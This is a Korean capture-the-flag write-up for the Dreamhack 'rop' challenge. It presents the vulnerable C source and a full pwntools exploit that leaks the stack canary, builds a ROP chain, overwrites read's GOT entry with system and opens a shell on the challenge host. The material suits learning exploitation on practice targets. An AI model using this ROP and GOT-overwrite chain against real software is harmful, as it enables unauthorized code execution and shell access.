[Dreamhack] rop
![[Dreamhack] rop](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fstock%2Funsplash%2FMNd-Rka1o0Q%2Fupload%2Fb6d0549d97c1c6275363a59298e69dad.jpeg&w=3840&q=75)
https://dreamhack.io/wargame/challenges/354/
관련 기법:
Stack Canary
Buffer Overflow
GOT Overwrite
소스코드는 아래와 같다.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
checksec으로 보호기법을 확인해보면

main함수를 디스어셈블하면

입출력 부분으로 buf의 위치를 추정할 수 있고 fs와 비교하는 부분을 통해 카나리의 위치를 알 수 있다. buf의 위치는 [rbp-0x40] Canary는 [rbp-0x8]에 있음을 알 수 있다.
buf = b"A" * 0x39
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00" + p.recvn(7))
slog("canary", cnry)
로 카나리 릭을 할 수 있다.
여기서는 소스코드에 system("/bin/sh")가 명시되어있지 않으므로 system의 주소와 /bin/sh 문자열을 가져와야 쉘을 획득할 수 있다.
system 함수는 libc.so.6에 정의되어 있는데 여기에는 코드에 있는 read, puts 같은 함수들도 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로 system도 매핑이 되긴 하지만, 바이너리가 직접적으로 system을 호출하고 있지는 않아서 GOT에는 없다.
그래서 직접 호출되는 함수들의 GOT를 읽어와서 libc.so.6가 매핑된 주소를 구할 수 있다.
같은 libc 내의 두 데이터 간 오프셋 크기는 항상 같으므로
~/hacking/wargames ─────────────────────────── max-env at 22:06:45 ─╮
❯ readelf -s libc.so.6 | grep " puts@" ─╯
1429: 0000000000080ed0 409 FUNC WEAK DEFAULT 15 puts@@GLIBC_2.2.5
-
~/hacking/wargames ─────────────────────────── max-env at 23:15:31 ─╮
❯ readelf -s libc.so.6 | grep " read@" ─╯
289: 0000000000114980 157 FUNC GLOBAL DEFAULT 15 read@@GLIBC_2.2.5
~/hacking/wargames ─────────────────────────── max-env at 22:28:40 ─╮
❯ readelf -s libc.so.6 | grep " system@" ─╯
1481: 0000000000050d60 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
둘 간 거리를 확인할 수 있고 이것은 고정값이다.
/bin/sh도 libc.so.6에 포함된 것을 이용할 수 있다.

system("/bin/sh")를 이제 호출할 차례인데 이것은 GOT 오버라이트로 할 수 있다. 저걸 GOT에 들어가도록 변조하고 그걸 호출하도록 하면 된다.

가젯 주소는 위와 같이 구할 수 있다.

read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854
그러면 위의 정보를 바탕으로 페이로드를 작성해보면
# 카나리 릭
payload = b"A" * 0x38 + p64(cnry) + b"B" * 0x8
# read()의 GOT 주소 유출
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read()를 호출하여 read@got을 덮어쓰기
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read_got + 0x8에 /bin/sh 문자열 쓰기
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8) # /bin/sh 문자열 위치
payload += p64(ret)
payload += p64(read_plt)
전체 코드를 작성해보면 아래와 같다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 24103)
e = ELF("./rop")
libc = ELF("./libc.so.6")
# 카나리 릭
buf = b"A" * 0x39
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00" + p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854
payload = b"A" * 0x38 + p64(cnry) + b"B" * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b"Buf: ", payload)
read = u64(p.recvn(6) + b"\x00" * 2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(p64(system) + b"/bin/sh\x00")
p.interactive()

